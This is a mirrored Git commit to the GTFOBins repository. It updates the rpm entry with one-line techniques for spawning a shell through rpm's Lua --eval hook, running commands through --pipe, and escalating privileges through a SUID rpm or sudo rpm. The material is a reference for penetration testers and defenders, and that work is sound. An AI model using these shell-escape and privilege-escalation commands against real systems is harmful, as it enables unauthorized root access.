1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

add command for rpm and delete unnecessary prefix

This commit is contained in:
M4x 2021-04-07 16:30:36 +08:00 committed by GitHub
parent c3f37d9e09
commit 565ebae880
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2,8 +2,12 @@
functions:
shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
command:
- code: |
rpm --pipe '/bin/id > /tmp/result'
cat /tmp/result
limited-suid:
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |